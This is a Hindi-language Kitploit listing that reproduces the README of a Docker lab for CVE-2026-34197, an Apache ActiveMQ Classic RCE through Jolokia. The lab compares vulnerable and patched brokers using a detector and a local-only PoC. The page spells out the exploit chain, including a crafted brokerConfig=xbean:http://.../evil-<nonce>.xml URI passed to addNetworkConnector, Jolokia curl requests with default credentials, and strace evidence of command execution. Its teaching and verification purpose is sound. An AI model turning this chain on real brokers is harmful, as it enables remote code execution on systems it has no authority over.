Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-34197-Lab — # CVE-2026-34197 प्रदर्शित करने वाला Docker लैब Apache ActiveMQ Classic में Jolokia के माध्यम से RCE (रिमोट कोड एक्ज़ीक्यूशन) दिखाने वाला Docker लैब। इसमें एक सुरक्षित डिटेक्टर और निश्चित कमांड के साथ केवल-लोकल PoC शामिल है, जो कमजोर और पैच किए गए संस्करणों की तुलना करता है। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# CVE-2026-34197 प्रदर्शित करने वाला Docker लैब Apache ActiveMQ Classic में Jolokia के माध्यम से RCE (रिमोट कोड एक्ज़ीक्यूशन) दिखाने वाला Docker लैब। इसमें एक सुरक्षित डिटेक्टर और निश्चित कमांड के साथ केवल-लोकल PoC शामिल है, जो कमजोर और पैच किए गए संस्करणों की तुलना करता है।

रिपॉजिटरी देखें
44 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE लैब

अवलोकन

यह रिपॉजिटरी CVE-2026-34197 का अध्ययन करने के लिए एक स्थानीय Docker लैब है, जो Jolokia JMX-HTTP API के माध्यम से पहुंच योग्य Apache ActiveMQ Classic रिमोट कोड निष्पादन समस्या है।

लैब दो ActiveMQ Classic इंस्टेंस की तुलना साथ-साथ करता है:

सेवासंस्करणउद्देश्यURL
vuln5.19.3असुरक्षित लक्ष्यhttp://127.0.0.1:8081
patched5.19.4पैच किया गया तुलना लक्ष्यhttp://127.0.0.1:8082

रिपॉजिटरी में दो प्रूफ स्क्रिप्ट हैं:

स्क्रिप्टउद्देश्यसुरक्षा मॉडल
poc/detect.pyअधिकृत डिटेक्टरकेवल HTTP; शोषण नहीं करता
poc/poc.pyकेवल-स्थानीय RCE-पथ प्रूफनिश्चित कमांड केवल: id; whoami; sleep 5

निष्पादन साक्ष्य को ऑपरेटर द्वारा strace जैसे प्रक्रिया अवलोकन टूल का उपयोग करके अलग से सत्यापित किया जाता है।


भेद्यता सारांश

CVE-2026-34197 Apache ActiveMQ Classic के उन संस्करणों को प्रभावित करता है जहां एक प्रमाणित उपयोगकर्ता Jolokia API का उपयोग करके ब्रोकर प्रबंधन संचालन को लागू कर सकता है और एक क्राफ्टेड brokerConfig=xbean:http://... URI के माध्यम से ब्रोकर JVM को हमलावर-नियंत्रित Spring XML लोड करने के लिए प्रेरित कर सकता है।

इस लैब में प्रदर्शित असुरक्षित प्रवाह है:

root@kitploit:~
Jolokia /api/jolokia/
  -> Broker MBean संचालन
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> रिमोट Spring XML फ़ेच
  -> ProcessBuilder बीन आरंभीकरण
  -> निश्चित स्थानीय प्रूफ कमांड

पैच की गई सेवा XML फ़ेच होने से पहले इस पथ को ब्लॉक करती है और इसके समान एक त्रुटि लौटाती है:

root@kitploit:~
VM scheme is not allowed

रिपॉजिटरी संरचना

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

फ़ाइल भूमिकाएँ

  • docker-compose.yml असुरक्षित और पैच किए गए ActiveMQ सेवाओं को चलाता है।
  • vuln/Dockerfile Apache ActiveMQ Classic 5.19.3 बनाता है।
  • patched/Dockerfile Apache ActiveMQ Classic 5.19.4 बनाता है।
  • poc/detect.py Jolokia एक्सपोज़र, ActiveMQ संस्करण और Broker MBean दृश्यता की जाँच करता है।
  • poc/poc.py एक निश्चित हानिरहित कमांड का उपयोग करके केवल-स्थानीय RCE पथ को ट्रिगर करता है।
  • images/strace.png में असुरक्षित सेवा से स्थानीय प्रक्रिया-अवलोकन साक्ष्य शामिल हैं।
  • .gitignore स्थानीय आर्टिफैक्ट, Python कैश फ़ाइलें, वर्चुअल वातावरण, लॉग और रहस्यों को बाहर करता है।

सुरक्षा सीमाएँ

यह रिपॉजिटरी केवल स्थानीय लैब उपयोग और अधिकृत सुरक्षा सत्यापन के लिए है।

PoC जानबूझकर सीमित है:

  • यह गैर-स्थानीय लक्ष्यों को अस्वीकार करता है।
  • यह मनमाने कमांड स्वीकार नहीं करता है।
  • यह केवल निश्चित कमांड का उपयोग करता है: id; whoami; sleep 5।
  • यह कॉलबैक के माध्यम से कमांड आउटपुट एकत्र नहीं करता है।
  • यह strace जैसे अलग ऑपरेटर-नियंत्रित अवलोकन पर निर्भर करता है।

poc.py के लिए अनुमत स्थानीय लक्ष्य:

root@kitploit:~
127.0.0.1
localhost
::1

इस रिपॉजिटरी का उपयोग उन सिस्टमों के खिलाफ न करें जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।


लैब सेटअप

लैब बनाएं और शुरू करें

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

सेवा स्थिति जांचें:

root@kitploit:~
docker compose ps

अपेक्षित सेवाएँ:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Jolokia संस्करण एंडपॉइंट सत्यापित करें

असुरक्षित सेवा जांचें:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

पैच की गई सेवा जांचें:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

अपेक्षित संस्करण:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

डिटेक्टर उपयोग

poc/detect.py सुरक्षित डिफ़ॉल्ट स्क्रिप्ट है। यह लक्ष्य का शोषण नहीं करता है।

यह जाँचता है:

  1. क्या /api/jolokia/version सुलभ है;
  2. क्या प्रमाणीकरण आवश्यक है;
  3. क्या उत्पाद Apache ActiveMQ है;
  4. ActiveMQ संस्करण;
  5. क्या Broker MBean Jolokia खोज के माध्यम से दृश्यमान है;
  6. क्या संस्करण प्रभावित सीमा में आता है।

दोनों लैब सेवाओं के खिलाफ डिटेक्टर चलाएं

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

अपेक्षित परिणाम:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

डिटेक्टर में असुरक्षित क्या माना जाता है?

डिटेक्टर किसी लक्ष्य को LIKELY_VULNERABLE के रूप में चिह्नित करता है जब:

root@kitploit:~
Jolokia सुलभ है
+
ActiveMQ संस्करण प्रभावित सीमा में है

इस लैब द्वारा उपयोग की जाने वाली प्रभावित सीमाएँ:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Broker MBean दृश्यता का उपयोग विश्वास साक्ष्य के रूप में किया जाता है क्योंकि शोषण पथ ब्रोकर प्रबंधन संचालन पर निर्भर करता है।

डिटेक्टर CONFIRMED_RCE का दावा नहीं करता है।


केवल-स्थानीय RCE पथ PoC

poc/poc.py स्थानीय Docker लैब में RCE पथ प्रदर्शित करता है।

यह होस्ट पर एक अस्थायी HTTP सर्वर शुरू करता है और प्रति-रन पथ पर एक Spring XML पेलोड परोसता है:

root@kitploit:~
/evil-<nonce>.xml

फिर यह Jolokia के माध्यम से ActiveMQ Broker MBean को लागू करता है:

root@kitploit:~
addNetworkConnector(java.lang.String)

एक क्राफ्टेड डिस्कवरी URI के साथ:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

असुरक्षित ब्रोकर इस XML को फ़ेच करता है। पैच किया गया ब्रोकर XML फ़ेच करने से पहले vm:// ट्रांसपोर्ट स्कीम को ब्लॉक करता है।

महत्वपूर्ण व्यवहार

असुरक्षित रन के बाद, बनाया गया NetworkConnector पुराने XML पथ को फ़ेच करने का पुनः प्रयास कर सकता है। स्क्रिप्ट प्रति-रन nonce का उपयोग करती है और गलत सकारात्मक से बचने के लिए matches_current_run को ट्रैक करती है।

एक हिट केवल वर्तमान रन के रूप में गिना जाता है यदि यह मेल खाता है:

root@kitploit:~
/evil-<current-nonce>.xml

असुरक्षित सेवा के खिलाफ PoC चलाएं

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

अपेक्षित आउटपुट:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

यह पुष्टि करता है कि ActiveMQ 5.19.3 को Jolokia-प्रबंधित ब्रोकर पथ के माध्यम से हमलावर-नियंत्रित Spring XML फ़ेच करने के लिए बनाया जा सकता है।


पैच की गई सेवा के खिलाफ PoC चलाएं

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

अपेक्षित आउटपुट:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

यदि पुराने असुरक्षित रन से हिट दिखाई देते हैं, तो उन्हें दिखाना चाहिए:

root@kitploit:~
"matches_current_run": false

वे पैच की गई सेवा की सफलता के रूप में नहीं गिने जाते हैं।


strace के साथ कमांड निष्पादन की पुष्टि करें

PoC स्क्रिप्ट कमांड आउटपुट एकत्र नहीं करती है। कमांड निष्पादन की पुष्टि करने के लिए, असुरक्षित कंटेनर के अंदर प्रक्रिया निर्माण का अवलोकन करें।

रूट के रूप में असुरक्षित कंटेनर में प्रवेश करें:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Java प्रक्रिया खोजें:

root@kitploit:~
pgrep -af java

Java PID पर strace संलग्न करें:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

दूसरे टर्मिनल में, असुरक्षित सेवा के खिलाफ PoC चलाएं:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

अपेक्षित strace साक्ष्य:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

यह OS-स्तर का साक्ष्य है कि निश्चित प्रूफ कमांड ब्रोकर JVM द्वारा निष्पादित किया गया था।

strace command execution evidence


रनों के बीच सफाई

PoC ट्रिगर करने से पहले डिफ़ॉल्ट NetworkConnector नाम NC को हटाने का प्रयास करता है। यह दोहराए गए लैब रनों को पूर्वानुमानित रखता है।

मैन्युअल सफाई:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

या लैब पुनः आरंभ करें:

root@kitploit:~
docker compose restart vuln patched

अपेक्षित लैब परिणाम

परीक्षणअसुरक्षित 5.19.3पैच किया गया 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia एक्सेसप्रमाणीकरण के साथ सुलभप्रमाणीकरण के साथ सुलभ
Broker MBeanदृश्यमानदृश्यमान
poc.py XML फ़ेचहाँनहीं
पैच किया गया ब्लॉक हस्ताक्षरN/AVM scheme is not allowed
strace कमांड साक्ष्य/bin/sh -c 'id; whoami; sleep 5'अपेक्षित नहीं

संदर्भ

  • Apache ActiveMQ सुरक्षा सलाहकार — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — CVE-2026-34197 रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub सलाहकार डेटाबेस — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache ActiveMQ Classic दस्तावेज़ीकरण — Networks of Brokers: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Apache ActiveMQ Classic JMX BrokerView API दस्तावेज़ीकरण: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
टूल डाउनलोड करें